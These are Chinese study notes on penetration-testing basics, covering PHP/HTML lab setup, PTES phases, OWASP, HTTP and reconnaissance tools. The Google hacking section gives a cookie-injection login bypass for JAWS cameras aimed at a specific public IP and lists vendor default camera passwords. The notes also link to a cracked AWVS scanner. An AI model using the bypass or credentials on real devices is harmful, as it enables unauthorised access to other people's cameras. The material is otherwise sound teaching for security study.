04 渗透测试基础

信息安全基础 专栏收录该内容
4 篇文章 1 订阅

渗透测试基础

一 代码审计

1 基础环境搭建

(1) Web服务:WAMP+phpstudy

(2) phpstudy

启动问题
端口正常开放
80 http
3306 mysql

web根目录[C:\Users\dq\Documents\phpStudy-1-24\phpStudy\WWW]

  • php
    探针 phpinfo.php phpmyadmin
    Apache配置文件:[C:\phpStudy\Apache\conf\httpd.conf]
    Apache日志文件目录:[C:\phpStudy\Apache\logs]
  • mysql[root/root]
    将msql.exe所在位置放到环境变量中
    [mysql-uroot-proot]
    [C:\phpStudy\MySQL\my.ini]
  • PHP
    [ phpinfo();]
    [C:\ phpStudy\ php\ php-5.4.45]
    [C:\ phpStudy\ php\ php-5.4.45\ini]
  • 火狐浏览器
  • 输入法

2 HTML 表单

(1) 表单介绍

什么是表单? 搜索框、登录框、文件上传、注册、留言板 =====> 需要交互
交互: 双向交流
读写执行:
        读取 获取信息
        写入:发出信息
写操作:
        向服务器提交信息(写)
        搜集用户信息
小技巧:
        管理控制台
        查看器
                DOM     文档对象模型    树形结构
控制台:
        可以执行JS 代码
网络:
        页面的网络连接。
存储:
        存储了页面的cookie信息。

表单本身是一个框架,表单里会有很多控件(元素)。

(2) < form >元素:用以定义HTML表单

<form></form>
    action   数据提交到服务器的url,在提交表单时执行的动作,如果为空,提交到当前页面。
    method   提交方法
             get:默认值,在传输过程,数据被放在请求的URL中,传送的数据量较小,不安全。
                url中有显示
                url长度有限制
             post:无长度限制,所有操作对用户来说都是不可见的。
                 上传文件等等
                 http请求正文中
    enctype:
             application/x-www-form-urlencoded  默认值,特殊字符等都可以被提交
             multipart/form-data 上传文件时使用
             text/plain  只能将普通的数据提交(少数框架中使用)
             name 定义整个表单的名称
                 

(3) < input > 元素:定义输入域

元素定义输入域,根据不同的type属性,相应的input元素有很多形态,(name 属性:如果要正确地被提交,每个输入字段必须设置一个 name 属性。)
属性值
          text                   文本输入
          radio                单选按钮输入(选择唯一)
          submit             提交按钮(提交表单)
          checkbox        复选框
          password        密码输入

  • 文本输入
    定义用于文本输入的单行输入字段,实例:
    在这里插入图片描述

  • 单选按钮输入
    定义单选按钮,有限数量的选项中选择其中之一,实例:
    在这里插入图片描述

  • 提交按钮
    定义用于向表单处理程序(form-handler)提交表单的按钮。表单处理程序通常是包含用来处理输入数据的脚本的服务器页面。
    在这里插入图片描述

  • 密码输入
    < input type=“password” > 定义密码字段区域,表现效果 (密码字段中的字符是隐藏的(显示为星号或圆圈))
    在这里插入图片描述

  • 复选框(Checkboxes)
    定义了复选框. 从若干给定的选择中选取一个或若干选项。
    在这里插入图片描述

(4)< textarea > 元素

< textarea >定义一个多行的文本输入控件,文本区域中可容纳无限数量的文本,其中的文本的默认字体是等宽字体(通常是 Courier)。

可以通过 cols 和 rows 属性来规定 textarea 的尺寸大小,不过更好的办法是使用 CSS 的 height 和 width 属性
在这里插入图片描述

(5) < button > 元素

< button > 标签定义一个按钮。在 < button > 元素内部可以放置内容,比如文本或图像。这是该元素与使用 < input > 元素创建的按钮之间的不同之处。
提示:请始终为 元素规定 type 属性。不同的浏览器对 元素的 type 属性使用不同的默认值。
在这里插入图片描述

(6) < select > 元素

< select > 元素用来创建下拉列表。< select > 元素中的 < option > 标签定义了列表中的可用选项。< select > 元素是一种表单控件,可用于在表单中接受用户输入
在这里插入图片描述

(7) < fieldset > 组合表单数据

< fieldset > 元素组合表单中的相关数据
< legend > 元素为 < fieldset > 元素定义标题。

<form action="action_page.php">
<fieldset>
<legend>Personal information:</legend>
First name:<br>
<input type="text" name="firstname" value="Mickey">
<br>
Last name:<br>
<input type="text" name="lastname" value="Mouse">
<br><br>
<input type="submit" value="Submit"></fieldset>
</form>

在这里插入图片描述

(7) datalist 元素

datalist 元素规定输入域的选项列表。
列表是通过 datalist 内的 option 元素创建的。
如需把 datalist 绑定到输入域,请用输入域的 list 属性引用 datalist 的 id:
在这里插入图片描述

(8) keygen 元素

keygen 元素的作用是提供一种验证用户的可靠方法。
keygen 元素是密钥对生成器(key-pair generator)。当提交表单时,会生成两个键,一个是私钥,一个公钥。
私钥(private key)存储于客户端,公钥(public key)则被发送到服务器。公钥可用于之后验证用户的客户端证书(client certificate)。
目前,浏览器对此元素的糟糕的支持度不足以使其成为一种有用的安全标准

(9) output 元素

output 元素用于不同类型的输出,比如计算或脚本输出。

3 HTML CSS

4 HTML iframe

5 vulhub安装

6 php基础+变量

7 运算符

8 流程控制语句

9 PHP函数

10 PHP数组

11 PHP Cookie

12 PHP SESSION

13 PHP与MySQL

14 注册功能实现

15 PHP个人中心设计

16 留言实现

17 JS基础

18 JS函数

19 JS事件

20 HTML标签基础

21 HTML表格

21 HTML常用标签

二 渗透测试导论

1 渗透测试方法导论

渗透测试(penetration testing,pentest)是实施安全评估(即审计)的具体手段。方法论是在制定、实施信息安全审计方案时,需要遵循的规则、惯例和过程。人们在评估网络、应用、系统或三者组合的安全状况时,不断探索各种务实的理念和成熟的做法,并总结了一套理论——渗透测试方法论。

2 渗透测试的种类

黑盒测试

在进行黑盒测试时,安全审计员在不清楚被测单位的内部技术构造的情况下,从外部评估网络基础设施的安全性。在渗透测试的各个阶段,黑盒测试借助真实世界的黑客技术,暴露出目标的安全问题,甚至可以揭露尚未被他人利用并按照风险等级(高、中、低)对其排序。通常来说,风险级别取决于相关弱点可能形成危害的大小。

白盒测试

从被测系统环境自身触发,全面消除内部安全问题。从而增加了从单位外部渗透系统的难度。黑盒起不了这样的作用。

脆弱性评估与渗透测试

通过分析企业资产面临安全威胁的情况和程度,评估内部和外部的安全控制的安全性。

安全测试方法论

开放式Web应用程序安全项目:OWASP(测试指南、开发指南、代码审查指南 OWASP top 10),10大安全威胁要记住并且表述清楚
注入:sql注入
失效的身份认证:爆破
敏感数据泄露:传输、存储、浏览器的交互数据(后台管理员数据泄露、未授权访问、源码泄露)
xml外部实体(XXE):
失效的访问控制:
安全配置错误:
跨站脚本:
不安全的反序列化:
使用含有已知漏洞的组件:
不足的日志记录和监控:

通过缺陷列表,某一类漏洞编号库CWE
通用漏洞与披露,某一个漏洞编号库CVE

三 OpenVas

OpenVas是开源的网络漏洞扫描器,自从 Nessus 收费了之后,分支出来的项目。
网址:http://www.openvas.org
web端管理接口
4.9之后支持中文
[gsm-ce-5.0.10.iso]

新建虚拟机
推荐配置
    推荐VirtualBox安装
    系统:Linux
    版本:其他Linux 64位
    内存:4G
    硬盘:9G
    CUPS

四 渗透测试执行流程

1 渗透测试执行标准

        渗透测试执行标准(Penet rat ion Testing Execution Standard,PTES)的先驱都是渗透测试行业的精英。这个标准有渗透测试7个阶段的标准组成,可以在任意环境中进行富有成果的渗透测试。 [http://www.pentest-standard.org/index.php/Main_Page]
[software:http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines]

        从技术管理的角度来看,遵循正规的测试框架对安全测试极为重要。通用渗透测试框架涵盖了典型的审计测试工作和渗透测试工作会涉及到的各个阶段。

(1) 相关阶段如下

1) 范围界定
        在开始技术性安全评估之间,务必要观察、研究目标环境的被测范围。同时还要了解,这个范围牵扯多少个单位,是单个单位还是多个单位会参与到安全评估的工作中来,在范围界定阶段,需要考虑的典型因素如下。

  • 测试对象是什么?
  • 应当采取何种测试方法
  • 有哪些在测试过程中需要满足的条件
  • 哪些因素可能会限制测试执行的过程
  • 需要多久才能完成测试
  • 此次测试应当达成什么样的任务目标

2) 信息搜集
        在划定了测试范围之后,就需要进入信息收集阶段。在这个阶段,渗透人员需要使用各种公开资源尽可能地获取测试目标的相关信息。

        他们从互联网上搜集信息的互联网渠道主要有:论坛|公告板|新闻组|媒体文章|博客|社交网络|其他商业或非商业性的网站。此外,他们也可以借助各种搜索引擎获取相关数据,如谷歌、雅虎、MSN必应、百度等。收集的信息主要包括DNS服务器、路由关系、whois数据库、电子邮件地址、电话号码、个人信息以及用户账户。收集的信息越多,渗透测试成功的概率越高。

3) 目标识别
        这个阶段的主要任务是识别目标的网络状态操作系统网络架构。该阶段工作旨在完整地展现目标网络里各种联网设备或技术的完整关系,以帮助测试人员在接下来的工作里枚举目标网络的各种服务

4) 服务枚举
        这一阶段会根据前面各个阶段的成果,进一步找出目标系统中所有开放的端口。一旦找到了所有开放的端口,就可以通过这些端口来列出目标系统上运行的服务。主机上开放的端口都有相应的服务程序,对这些信息进行深度分析之后,可进一步发掘目标网络基础设施中可能存在的漏洞。

5) 漏洞映射===>漏洞扫描
        可以根据已经发现的开放端口和服务程序,查找、分析目标系统中存在的漏洞。如果能够采用自动和手动这两种不同的测试方法结合起来,审计人员对目标系统的认知就会更为清晰、透彻,并能够仔细地检查任何已知和未知的漏洞。

6) 社会工程学
        如果目标网络没有直接的入口,欺骗的艺术将起到抛砖引玉的重要作用。对目标组织中的人员进行定向攻击,很有可能帮助我们找到渗透目标系统的入口。例如,诱使用户运行安装后门的恶意程序,就可能为审计人员的渗透工作形成突破。社会工程学渗透分为多种不同实现形式。伪装成网络管理员,通过电话要求用户提供自己的账户信息;发送钓鱼邮件来劫持用户的银行账户;甚至诱使某人出现在某个地点一这些都属于社会工程学攻击。
        在社会工程学中,达成同一既定目标的实现方式应有尽有。需要注意的是,在对目标实施欺骗以达成渗透目标之前,多数情况下需要长时间研究目标人员的心理。另外,在开展这个阶段的工作之前,您需要实现研究过内的法律是否有关于社会工程学的相关条款。

7) 漏洞利用
        在仔细检查和发现目标系统中的漏洞之后,就可以使用已有的漏洞利用程序对目标系统进行渗透。审计人员可以把客户端漏洞利用程序和社会工程学进行结合,进而控制目标系统。这个阶段的主要任务是控制目标系统。这个流程可以分为三步,涉及攻击前、攻击、攻击后的相关行动

8) 权限提升
        获取目标系统的控制权是渗透成功的标识。接下来,审计人员就可以根据其所拥有的访问权限,在被测系统中自由发挥。审计人员也可以使用适用于目标系统的本地漏洞来提升自己的权限。只要他们能偶在目标系统上运行提权漏洞利用程序,就可以获得主机的超级用户权限或者系统级权限。审计人员还可以以该主机为跳板,进一步攻击局域网络
        根据之前渗透范围的界定,审计人员接下来会开展的攻击可能是受限制的,也可能是不受限制。然后,他们很有可能以各种方式获得与控制系统有关的更多信息。具体的说,他们可能是用嗅探手段截获网络数据包,破解各种服务的密码,在局域网络中使用网络欺骗手段。所以说,提升权限的最终目的是获得目标系统的最高访问权限

9)访问维护
        多数情况下,审计人员需要在一段时间内维护他们对目标系统的访问权限。例如**,在演示越权访问目标系统的时候,安装后门将节省重新渗透目标系统所耗费的大量时间。**这种情况下,访问维护将节约获取目标系统访问权限所需要的时间、花费和资源。**审计人员可以通过一些秘密的通信隧道,在既定时间内维持对目标的访问权限。**这些隧道往往基于特定协议、代理或者点对点方法的后门程序。这种对系统的访问方法可以清楚地展示,入侵人员在目标系统实施攻击时隐藏行踪的具体方法。

10)文档报告
        在渗透测试的最后一个环节里,审计人员要记录、报告并现场演示那些已经识别、验证和利用了的安全漏洞。在被测单位的管理和技术团队会检查渗透时使用的方法,并会根据这些文档修补所有存在的安全漏洞。所以从道德角度来看,文档报告的工作十分重要。并为了帮助管理人员和技术人员共同理解、分析当前IT基础架构中的薄弱环节,可能需要给不同的部门]撰写不同措辞的书面报告。此外,这些报告还可以用来获取和比渗透测试前后系统目标的完整性。

(2) 简化的渗透测试流程是在进行渗透测试过程中经常使用的流程,具体如下。

在这里插入图片描述

(3) 黑客攻击的一般过程

在这里插入图片描述

(4) 渗透测试技术指南(形成自己的流程)

五 web架构与安全分析

1 Web工作机制

在这里插入图片描述
当我们输入网址后
主机先查找本地缓存 ====> host文件 ====> IP/ARP ====> DNS ====> IP ====> 网关 ====> 路由 ====> 到达对方主机 ====> 访问80 443端口 ====> 3次握手 ====> 建立连接 ====> HTTP数据包 ====> HTTP响应包(如果访问的.html文件,找到后直接发过来;访问的是.php文件,则需要解析;php连接mysql,则php将数据库的运行结果返回到客户端)

2 网页、网站

  • 我们可以通过浏览器.上网看到的精美页面,–般都是经过浏览器渲染过的。
  • HTML页面,其中包含了css等前端技术。多个网页的集合就是网站

3 Web容器

  • Web容器,也叫Web服务器,主要提供Web服务,也就是常说的HTTP服务。
  • 常见的Web容器有:Apache(支持php)/IIS(支持.net,nsp,php)/Nginx(php,反向代理功能,负载均衡) 等。

4 静态的网页

  • 静态的网页,都是一些.html文件,是纯文本文件。这些文件中包含html代码。
  • HTML(Hype rText Markup Language,超文本标记语言),在浏览器中解释运行。

5 中间件服务器

以上这种,只能单向地给用户展示信息。随着Web的发展,信息要双向流动,产生了交互的需求,也就是动态网页的概念;所谓动态就是利用flash、Php、asp、Java等技术在网页中嵌入一些可运行的脚本,用户浏览器在解释页面时,遇到脚本就启动运行它。

脚本的使用让Web服务模式有了"双向交流”的能力,Web服务模式也可以象传统软件一样进行各种事务处理,如编辑文件、利息计算、提交表单等,Web架构的适用面大大扩展。

这些脚本 可以嵌入在页面中,如JS等。也可以以文件的形式单独存放在Web服务器的目录里,如.asp、.php、jsp文件等。 这样功能性的脚本越来越多,形成常用的工具包,单独管理,Web业务开发时,直接使用就可以了,这就是中间件服务器,它实际上是Web服务器处理能力的扩展

6 数据库的出现

静态网页与脚本都是事前设计好的,一般不经常改动,但网站上很多内容需要经常的更新,如新闻、博客文章、互动游戏等,这些变动的数据放在静态的程序中显然不适合,传统的办法是数据与程序分离,采用专业的数据库。

Web开发者在Web服务器后边增加了一个数据库服务器,这些经常变化的数据存进数据库,可以随时更新。当用户请求页面时,脚本根据用户请求的页面,涉及到动态数据的地方,利用SQL数据库语言,从数据中读取最新的数据,生成“完整"页面,最后送给用户

7 HTTP协议概述

HTTP(HyperText Transfer Protocol,超文本传输协议)是浏览器与Web服务器之间的通信协议,将html文档从Web服务器传输到Web浏览器,是一个请求和响应的协议。HTTP协议使用可靠的 TCP 传输,默认端口80。支持浏览器/服务器模式。

浏览器向服务器提出请求时,只需要传输请求方法和请求路径。
灵活:HTTP运行传输任意类型的数据对象。【.html 纯文本;.jpg 图片;.mp3 音频】
HTTP协议是无状态的协议。

8 URL

统一资源定位符(网址),用来告诉Web容器,浏览器所请求资源(文件)的路径。例如:
http://localhost/cms/show.php?id=32
schema://login:password@adress:port/path/to/resource/?query_string#fragment

port        80
login       用户名
password    密码       匿名访问时,默认没有这两个内容
fragment    锚点
@           URL编码

URL中允许出现的字符是有限制的,URL中path开始允许直接出现A-Za-z0-9
半角减号(-)、下划线句点(.)、波浪号(~)。其他字符均会被百分号编码。如下:
#        %23
[ ]      %20,在进行编程的时候,我们会用 + 代替空格
%23      %25%23%33

9 报文分析工具

  • F12
  • wireshark
  • fiddler
  • burp suit

10 HTTP请求由请求行、请求头、请求正文

⭐请求行:方法,资源路径,协议/版本

方法:GET
资源路径:/test/1.html
协议/版本:HTTP/1.1

                   【实验一:利用telnet模拟浏览器发送HTTP请求】
第一步:telnet 172.16.132.161 80

第二步:
GET /php/test/get.php HTTP/ 1.1
HOST: 172.16.132.161

第一步:telnet wwW.baidu.com 80
第二步:
GET /HTTP/1.1
HOST:www.baidu.com

                   【实验二:利用telnet传送GET参数】
GET /php/test/get.php?name=AJEST&pwd=123456 HTTP/1.1
HOST: 172. 16.132.161        

                   【实验三:利用telnet模拟POST请求传递参数】
                 

⭐请求头

从请求报文第二行开始到第一个空行为止之间的内容,其中包含很多字段。
主要字段
【Host】主要用于指定被请求资源的Internet主机和端口号
【User-Agent】浏览器指纹
【Referer】包含一个URL,代表当前URL的上一个URL
【Cookie】记录请求者的身份认证信息
【Accept-Charset】用于指定客户端接收的字符集
【Content-Type】用于向接收方指示实体的介质类型,即数据类型
【Content-Length】用于指明实体正文的长度,以字节方式存储的十进制数字来表示
【Last-Modified】用于指示资源的最后修改时间和日期
【RESPONSE】响应报文。如下

⭐请求正文

【Get方法】 没有请求正文。
【POST方法】 可以向服务器提交参数以及表单,包括文件流等。
【HEAD方法】 与GET方法类似,但在服务器响应中只返回首部。
【PUT方法】 与GET从服务器读取文档相反,PUT方法会向服务器写入文档。
【TRACE方法】 回显浏览器的请求。
【OPTIONS方法】 OPTIONS方法请求Web服务器告知其支持的各种功能。
【DELETE方法】 DELETE方法请求服务器删除请求URL所指定的资源。

插件推荐hackbar
在这里插入图片描述

11 RESPONSE响应报文

响应报文由状态行响应头响应正文三部分组成。

【状态行】 协议/版本,状态代码,描述短语 HTTP/1.1 200 0K
协议/版本:HTTP/1.1状态代码:200描述短语:0K

【状态代码】
100~199            信息性状态码
200~299            成功状态码
300~399            重定向状态码
400~499            客户端错误状态码
500~599            服务器错误状态码

【响应头】第二行开始到第一个空行为止的所有内容,其中包含了关于HTTP响应的重要字段。

【主要字段】
Server                    服务器指纹
Set-Cookie                向浏览器端设置Cookie 
Last--Modified            服务器通过这个头信息告诉浏览器,资源的最后修改时间
Content-Length            请求正文的长度.
Location                  重定向目标页面
Refresh                   服务器通过Refresh头告诉浏览器定时刷新浏览器Cookie与Session机制
Cookie 与Session 机制      Cookie通过在客户端记录信息确定用户身份,Session通过在服务器端记录信息确定用户身份。

【响应正文】
一般是返回一个网页。

12 同源策略的条件(js代码只能读取同一个域下的网页)

  • URL的主机(FQDN:Fully Qualified Domain Name全称域名)一致
  • Schema-致
  • 端口号一致
    同源策略的保护对象不仅仅是iframe 内的文档。比如,实现Ajax时所使用的XMLHt tpRequest对象能够访问的URL也受到了同源策略的限制。

六 信息收集

在划定了测试范围之后,就需要进入信息收集阶段。在这个阶段,渗透人员需要使用各种公开资源尽可能地获取测试目标的相关信息。他们从互联网上搜集信息的互联网渠道主要有:

  • 论坛
  • 公告板
  • 新闻组
  • 媒体文章
  • 博客
  • 社交网络
  • 其他商业或非商业性的网站
  • github

从吾爱漏洞上发现一个信息搜集总结,言简意赅,有时间可以自己再重新整理一版简介的渗透测试过程 http://www.52bug.cn/hkjs/6661.html。

此外,他们也可以借助各种搜索引擎中获取相关数据,如谷歌、雅虎、MSN必应、百度等。收集的信息主要包括DNS服务器、路由关系、whois数据库、电子邮件地址、电话号码、个人信息以及用户账户。收集的信息越多,渗透测试成功的概率越高。

【练手网站】
[1] 本课程以**[testfire.net]为目标,testfire.net 是IBM公司为了演示旗下比较有名的Web漏洞扫描器AppScan**的强大功能所搭建的模拟银行网站,所以上面会有很多常见的Web安全漏洞。
[2] [http://www.vulnweb.com/]为演示Acunetix搭建的网站。

⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐信息收集⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐

1 域名信息的收集

当我们确定了渗透的目标,也就获取了目标对应的域名,我们需要获取域名对应的 IP 、域名的 whois 信息(whois baidu.com)子域名等一系列信息。

1.1 域名注册信息查询

从whois信息返回的结果中可以获取DNS服务器的信息,以及域名注册人的联系方式,这些信息会在渗透测试的后续阶段发挥重要作用。

1.1.1 站长之家的whois查询

站长之家whose查询:http://whois.chinaz.com/.

1.1.2 Kali-whois查询

例如:whois xxxx.xxx.xx
whois xxxxxxxxx.com

1.2 域名/子域名

  • 记录大型网站曾经在互联网上出现的必要信息 https://searchdns.netcraft.com/.
  • 子域名爆破:Layer子域名挖掘机(重要的是字典)
  • 子域名爆破:dnsrecon(kali下)
    在这里插入图片描述
  • https://www.webscan.cc/
  • kali之fierce命令
    fierce -dns xxxxx.xxx -threads 100

【域传送漏洞】

DNS区域传送(DNS zone transfer)指的是一台备用服务器使用来自主服务器的数据刷新自己的域(zone)数据库。这为运行中的DNS服务提供了一定的冗余度,其目的是为了防止主的域名服务器因意外故障变得不可用时影响到整个域名的解析。一般来说,DNS区域传送操作只在网络里真的有备用域名DNS服务器时才有必要用到,但许多DNS服务器却被错误地配置成只要有Client发出请求,就会向对方提供一个zone数据库的详细信息,所以说允许不受信任的因特网用户执行DNS区域传送(zone transfer)操作是后果最为严重的错误配置之一
1可以使用dig工具来检测域传送漏洞,命令如下[dig axfr @dns.example.com example.com]

通过域传送漏洞可以获取子域名信息和子域名对应的ip地址。
在这里插入图片描述

1.3 真实 IP 获取

如果 IP 地址 不是真实的,测试会出现偏差。例如,测试的端口服务全都是假的。

1.3.1 ping 命令[非权威解答]

例如:ping www.xxxxxx.xxx.xx(下面举例对象不涉及真实域名和ip,仅以xxx代替)

1.3.2 nslookup[非权威解答]

例如:nslookup www.xxxxxx.xxx.xx

1.3.3 dig工具

dig @8.8.8.8 testfire.net          指定dns服务器
dig +trace testfire.net            获取域名的详细解析过程

1.3.4 dnsenum工具 ⭐⭐⭐⭐⭐

 dnsenum testfire.net               此处推荐使用dnsenum此款工具在解析域名的时候,会自动检测域传送漏洞。

1.3.5 站长之家

http://tool.chinaz.com/dns/

1.3.6 IP138 查询网

IP138 查询网: https://site.ip138.com/gzhu.edu.cn/.

1.4 CDN加速的问题

本意是进行节点缓存,使网站访问速度加快。一般情况下是没办法得到目标网站的真实IP的。关于CDN加速可以作为一个课题。参考资料绕过CDN查找网站真实IP方法收集.
如何获取目标网站真实IP.
对某使用了CDN网站的渗透过程.
获取cdn 反向代理等大型网络IP方法.

例如:xxx.cdn.xxx… ip地址(这是CDN地址,不是真实的IP地址)
关于如何绕过CDN,参考谢公子的博客——绕过CDN查找网站真实ip:https://blog.csdn.net/qq_36119192/article/details/89151336.

如果网站上有订阅功能,则很方便找到真实的ip地址。

1.5 同IP网站查询 ----> 旁站(在同一个服务器上)/C段(在同一个网段上)

1.6 IP2Location

https://www.maxmind.com/zh/home

2 敏感信息网上搜集

2.1 google hacking ⭐⭐⭐

  • 探索网站目录结构 “parent directory” site:test.fire.net
  • 搜索容易存在sql注入的页面 site:testfire.net inurl:login
  • 指定文件类型 filetype pdf
  • 搜索phpinfo()
intext:"PHP Version" ext:php intext:"disabled" intext: "Build Date" intext:"System" intext:"allow_ url_ fopen"
【搜索iis6.0组件】
app:"Microsoft IIS httpd" ver:"6.0"

【搜索开启3389端口的windows主机】
port:3389 0S:windows 

【实例:公网摄像头本地js认证】
利用shodan搜索:JAWS/1.1
默认:admin 空
77.235.202.58:8080
在控制台中输入以下JS代码,然后直接访问[/view2.html]--->77.235.202.58:8080/view2.html,
即可绕过登录验证进入控制台。
document.cookie="dvr_camcnt=4";
document.cookie="dvr_usr=admin";
document.cookie ="dvr_pwd=123";


【其他摄像头默认账号】👍
📕 海康威视IP网络摄像机admin,密码:12345
Hikvis ion Se rver:DVRDVS-Webs
📕 大华网络摄像机admin,密码:888888
📕 天地伟业网络摄像机Admin,密码:111111
  • 钟馗之眼
    ZoomEye支持公网设备指纹检索和Web指纹检索。
    网站指纹包括应用名、版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据等。
    帮助手册:https://www.zoomeye.org/help
【搜索iis6.0组件】
app:"Microsoft IIS httpd" ver:"6.0"

【搜索开启3389端口的windows主机】
port:3389 0S:windows 
  • 参考
域传送漏洞   https://github.com/lijiejie/edu-dns-zone-transfer 
收集子域名的思路   https://www.secpulse.com/archives/53182.html 
Web信息收集  https://blog.csdn.net/redbu1l/article/details/78763738
shodan语法 http://www.freebuf.com/sectool/121339.html 
关于摄像头 http://0day5.com/archives/3766/
GHDB https://www.exploit-db.com/google--hacking-database/

3 网站指纹识别——收集web服务器信息

网站指纹识别是指识别目标服务器相应的web容器,或者整站系统(CMS)。常见的CMS有:WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、SiteWeaver、AspCMS、帝国、Z-Blog等。.

3.1 火狐插件

Netcraft Extension
Wappalyzer
https://www.netcraft.com/

3.2 在线指纹识别网站:

BugScaner:http://whatweb.bugscaner.com/look/.
云悉指纹:http://www.yunsee.cn/finger.html.
WhatWeb:https://whatweb.net/.

4 整站分析

备注:整站分析部分的内容学习自谢公子的博客.

(1) 服务器类型(Linux/Windows)

1)Ping探测

可以通过ping探测来测试服务器的操作系统是Linux还是Windows,Windows的TTL值一般是128,Linux则是64。(这种方式不是绝对有效的,因为有的Windows服务器的TTL值只有几十,或者有的服务器会禁止Ping)。

2)nmap扫描

nmap -o IP地址

(2) 网站容器(Apache/Nginx/Tomcat/IIS)

渗透测试时,我们需要知道目标网站的Web服务器软件及其版本。探测Web服务器软件的方法有很多,如linux下的nmap这款强大的端口扫描工具,这里介绍另一款httprint,httprint可以运行在windows上,是一款图形界面的软件,使用很方便。

Nmap中文手册:http://www.nmap.com.cn/doc/manual.shtm.

(3) 脚本类型

常见脚本类型有:php、Jsp、Asp、Aspx

个人认为要通过网站的URL来判断脚本类型这件事,还是需要安全人员对各个脚本类型的框架构建有一定的掌握。
php、jsp、asp和aspx的区别:https://blog.csdn.net/qq_36119192/article/details/84593150.
网站URL分类解读:https://www.seodajun.com/seojiaocheng/1097.html.

(4) 数据库类型(Mysql/Oracle/Accees/Mqlserver)

常见数据库类型有:Mysql、Oracle、SqlServer 、 Access 。

  • Access是一款小型数据库,数据库后缀名为 .mdb,一般asp的网页文件用Access数据库。
  • SQL Server是一款比较大型的数据库,端口号为1433,数据库后缀名为 .mdf。
  • MySQL是一款最流行的关系型数据库管理系统,在WEB应用方面MySQL是最好的应用软件之一,MySQL数据库大部分是php的页面,默认端口号3306。
  • Oracle是一款关系数据库管理系统,常用于比较大的网站,默认端口为1521。

常见搭配:
ASP 和 ASPX:ACCESS、SQL Server
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL

5 主机扫描(Nessus) ⭐⭐⭐

📕📕📕 NeXposs+Nessus+OpenVAS(开源)
Nessus自定义扫描策略:https://www.freebuf.com/column/144954.html.
Nessus的高级扫描方法:https://www.freebuf.com/column/144167.html.

基于Nmap进行Ping扫描方式,然后显示在线的主机: nmap -sP 192.168.20.16/24
nmap主机发现使用举例:https://www.jianshu.com/p/29d503ec07f2.

ZenmapNmap官方提供的图形界面,是用Python语言编写而成的开源免费的图形界面,能够运行在不同操作系统平台上(Windows/Linux/Unix/Mac OS等)。

可参考文章:Nmap和Zenmap详解

5.1 黑盒扫描

        黑盒扫描一般都是通过远程识别服务的类型和版本,对服务是否存在漏洞进行判定。在一些最新的漏洞扫描软件中,应用了–些更高级的技术,比如模拟渗透攻击等。

5.2 白盒扫描

        白盒扫描就是在具有主机操作权限的情况下进行漏洞扫描。比如微软的补丁更新程序会定期对你的操作系统进行扫描,查找存在的安全漏洞,并向你推送相应的操作系统补丁。
        白盒扫描的结果更加准确,但-般来说它所识别出的漏洞不应当作为外部渗透测试的最终数据,因为这些漏洞由于防火墙和各类防护软件的原因很可能无法在外部渗透测试中得到利用。同时,–般情况下你是没有机会获取用户名和口令。
        漏洞扫描器一般会附带一个用于识别主机漏洞的特征库,并定期进行更新。在漏洞扫描的时候,就是利用特征库里的脚本与目标系统的反馈信息进行匹配,如果能够匹配上,就说明存在某一个漏洞。
        漏洞扫描器在识别漏洞的过程中,会向目标发送大量的数据包,有时候会导致目标系统拒绝服务或被扫描数据包阻塞,扫描行为也会被对方的入侵检测设备发现。
        漏洞扫描器扫描出的结果通常会有很多误报(报告发现的漏洞实际并不存在)或者漏报(未报告发现漏洞但漏洞实际存在)。因此,需要对扫描结果进行人工分析,确定哪些漏是实际存在的,这个过程就叫做漏洞验证。这是渗透测试过程中不可缺少的一步,只有验证漏洞存在的真实性,才能对漏洞进行深度利用。
        渗透测试工作中,在得到客户认可的情况下,可以使用扫描器进行扫描,但使用时一定要注意规避风险,对其系统运行可能造成的影响将到最低。

5.3 OpenVAS(开源)⭐⭐⭐

直接跳转到0penVAS登入界面。
使用帐密[admin/123456],即可登入系统。

  • 扫描目标
    开始进行扫描的时候需要新建一个目标。
    新建目标
    填写好相关信息,点击[Create]。
    创建好的目标如下
  • 扫描策略
    查看扫描模板,就是在扫描过程中使用的扫描策略和配置,这个扫描模板也可以自己配置。
  • 扫描任务
    创建好目标之后,我们创建扫描任务。
    新建任务。
    填写好相关信息,名称自定义。扫描目标要选择之前我们配置过的,会以下拉列表的形式展现。
    创建好的扫描目标如下。点击开始按钮开始扫描。
  • 扫描完成
    扫描结束之后,显示已经完成。
  • 扫描报告
    我们可以将扫描结果以报告的形式保存下来。这里报告格式自选。
    下载好的报告如下。

6 端口扫描(nmap) ⭐⭐⭐

  • Nmap探测:nmap -sV -allports IP地址
  • Zenmap探测

7 网站敏感目录和文件

  • 御剑目录扫描器:该工具输入域名,选择字典之后即可进行扫描。
  • Kali-dirb目录探测:dirb http://xxx.xxx.xxx.xx
  • dirbuster扫描工具
  • webdirscan
  • burpsuite爬虫模块

8 旁站和C段扫描

旁站指的是同一服务器上的其他网站。1个ip有可能有100个系统同时使用,有些网站可能不是那么容易入侵,那么查询该服务器上的其他网站,攻下其中一个,再通过提权拿到服务器的权限,自然可以拿到该网站了。

在线查询地址
http://www.webscan.cc/

9 网站漏洞扫描⭐⭐⭐

9.1 进行Web漏洞扫描的时候,大致分为一下几个步骤**

爬行网站目录
使用漏洞脚本扫描
保存扫描结果

9.2 AWVS扫描:

AWVS13.x破解版(Windows+ Linux)https://www.cnblogs.com/fhff/p/12860160.html.
AWVS扫描工具使用教程 https://www.cnblogs.com/weifeng1463/p/10269432.html
AWVS的安装和使用(linux)https://blog.csdn.net/qq_35569814/article/details/102136628

AWVS低版本是一个程序,高版本是web端页面。扫描testfire.net

  • 创建扫描目标
    点击[New Scan],即可打开扫描向导,在Website URL中输入网址[http://www.testfire.net],跟着向导一步–步配置即可。
  • 设置扫描策略,如果没有特殊的要求,默认即可。
    在目标阶段,AWVS会自动识别目标Web服务相关信息,包括系统、Web容器类型和版本、中间件信息。
    如果网站中有登录框,可以将测试账号账密填写在下方。
  • 点击[Finish],即可完成扫描向导,开始扫描工作。
    Web漏洞扫描需要一定的时间,等待即可。
    下图是扫描完成的结果。整个页面布局左/中/右三个部分。最左侧是–些小工具列表。中间部分是漏洞点和网站结构目录。
  • 关于漏洞报告
